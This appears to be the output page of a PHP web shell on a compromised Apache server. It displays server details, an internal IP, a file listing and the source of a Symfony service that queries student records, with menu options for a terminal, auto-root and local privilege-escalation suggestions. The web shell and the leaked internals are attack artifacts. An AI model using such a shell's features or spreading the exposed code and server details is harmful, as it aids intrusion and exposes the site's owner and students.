Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
CCEStudentManager.php
5.32
KB
-rwxrwxr-x
2026-05-26 09:32
LoginEntryPoint.php
1.67
KB
-rwxrwxr-x
2026-05-18 12:51
OauthManager.php
3.65
KB
-rwxrwxr-x
2026-04-02 12:06
UserLevelManager.php
3.35
KB
-rwxrwxr-x
2026-04-02 12:06
UserListManager.php
74.86
KB
-rwxrwxr-x
2026-05-25 12:28
UserListOldManager.php
2.98
KB
-rwxrwxr-x
2026-05-18 12:51
php_errors.log
362
B
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Services; use Symfony\Component\DependencyInjection\ContainerInterface; use Monolog\Logger; use App\UserBundle\Entity\CCEStudent; use App\UserBundle\Model\CCEStudentReportLabel; use App\UserBundle\Util\CCEStudentDisplayOrder; /** * CCE Student manager * * @author Otto Saayman <otto@igotafrica.com> * @package UserBundle * @subpackage CCEStudent * @version 0.0.1 */ final class CCEStudentManager { /** * Service Container * @var object */ private $container = null; /** * Entity manager * @var object */ private $em; /** * Class construct * * @param ContainerInterface $container * @param Logger $logger * @return void */ public function __construct( ContainerInterface $container) { $this->setContainer($container); $this->setEm($container->get('doctrine')->getManager('default')); return; } /** * Get Container * * @return ContainerInterface $container */ public function getContainer() { return $this->container; } /** * Set Container * * @param ContainerInterface $container * @return void */ public function setContainer($container) { $this->container = $container; } /** * Get Entity Manager * * @return string */ public function getEm() { return $this->em; } /** * Set Container * * @param string $em * @return void */ public function setEm($em) { $this->em = $em; } /** * Get a User * * @return CCEStudent */ public function find($id) { if (strlen($id) <= 0) { return null; } return $this->em->getRepository(CCEStudent::class)->find($id); } /** * Load only student id + display name for form reports (does not require optional CCEStudents columns). * * @param int|string $id * @return CCEStudentReportLabel|null */ public function findForReportLabel($id): ?CCEStudentReportLabel { if (strlen((string) $id) <= 0) { return null; } $row = $this->em->getConnection()->fetchAssociative( 'SELECT CCEStudentID AS id, KnownAs AS knownAs, FirstName AS firstName, Surname AS surname FROM CCEStudents WHERE CCEStudentID = :id LIMIT 1', array('id' => (int) $id) ); if (!is_array($row) || !isset($row['id'])) { return null; } return new CCEStudentReportLabel( (int) $row['id'], isset($row['knownAs']) ? (string) $row['knownAs'] : null, isset($row['firstName']) ? (string) $row['firstName'] : null, isset($row['surname']) ? (string) $row['surname'] : null ); } /** * @param array<int, int|string> $ids * @return array<int, CCEStudentReportLabel> keyed by student id */ public function findForReportLabelsByIds(array $ids): array { $ids = array_values(array_unique(array_filter(array_map('intval', $ids), static function (int $id): bool { return $id > 0; }))); if (count($ids) === 0) { return array(); } $placeholders = implode(',', array_fill(0, count($ids), '?')); $rows = $this->em->getConnection()->fetchAllAssociative( 'SELECT CCEStudentID AS id, KnownAs AS knownAs, FirstName AS firstName, Surname AS surname FROM CCEStudents WHERE CCEStudentID IN (' . $placeholders . ') ORDER BY ' . CCEStudentDisplayOrder::sqlOrderByDisplayName('CCEStudents'), $ids ); $labels = array(); foreach ($rows as $row) { if (!isset($row['id'])) { continue; } $studentId = (int) $row['id']; $labels[$studentId] = new CCEStudentReportLabel( $studentId, isset($row['knownAs']) ? (string) $row['knownAs'] : null, isset($row['firstName']) ? (string) $row['firstName'] : null, isset($row['surname']) ? (string) $row['surname'] : null ); } return $labels; } /** * Get a User by parameters * * @param array $params * @return CCEStudent */ public function findOneBy($params) { return $this->em->getRepository(CCEStudent::class)->findOneBy($params); } /** * Get a User by parameters * * @param array $params * @return array */ public function findBy($params) { return $this->getRepository()->findByOrdered(is_array($params) ? $params : array()); } /** * Get all Users * * @return array */ public function findAll() { return $this->getRepository()->findAllOrdered(); } /** * @return \App\UserBundle\Repository\CCEStudentRepository */ private function getRepository() { return $this->em->getRepository(CCEStudent::class); } /** * Save a User * * @params CCEStudent $cceStudent * @return CCEStudent */ public function save(CCEStudent &$cceStudent) { $this->em->persist($cceStudent); $this->em->flush(); return $cceStudent; } }